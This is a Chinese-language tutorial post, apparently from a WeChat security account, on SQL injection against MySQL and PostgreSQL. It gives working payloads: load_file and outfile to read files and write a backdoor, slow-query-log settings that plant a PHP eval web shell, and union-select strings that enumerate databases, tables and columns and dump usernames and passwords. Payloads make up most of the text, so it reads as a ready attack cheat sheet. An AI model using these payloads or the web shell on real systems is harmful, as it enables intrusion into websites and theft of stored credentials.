MYSQL-root高权限读写注入
1.读写文件时需要知道文件路径,而有的网站会泄露phpinfo.php文件,在phpinfo.php文件中就可以收集路径信息,如:$_SERVER['SCRIPT_FILENAME']就是当前执行脚本的路径
2.浏览器搜索路径
3.还可以根据网站报错信息来获取路径信息
读取文件
d盘下有一个www.txt文件
使用load_file函数进行读取,成功
写入文件
根据报错信息获取路径
使用outfile函数写入文件
成功写入后门文件,就可以使用蚁剑等工具进行连接了
读写注入限制:
secure_file_priv=c:/只允许在c:/路径进行操作
如果网站的mysql配置文件my.ini对secure_file_priv=进行了配置就可能无法在进行读写注入
绕过:注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
日志注入
setglobal slow_query_log=1;开启MySQL日志记录
setglobal slow_query_log_file='shell路径';设置日志记录路径
select'<?php eval($_GET[A]);?>' or SLEEP(1);执行命令,让日志记录后门代码
PostgreSQL-高权限注入
测列数:
order by 4
Id=1 union select null,null,null,null
测显位:第2,3
利用' ' 测试显错位
-1 union select 'null',null,null,null 错误
-1 union select null,'null',null,null 正常
-1 union select null,null,'null',null 正常
-1 union select null,null,null,'null' 错误
获取信息:
版本
-1 UNION SELECT null,version(),null,null
用户
-1 UNION SELECT null,current_user,null,null
当前数据库
-1 union select null,current_database(),null,null
获取数据库名:
-1 union select null,string_agg(datname,','),null,null from pg_database
获取表名:
两种方法:
1、-1 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、-1 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
获取列名:
-1 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
获取数据:
-1 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
原文始发于微信公众号(小黑子安全):SQL注入-mysql高权限读写注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论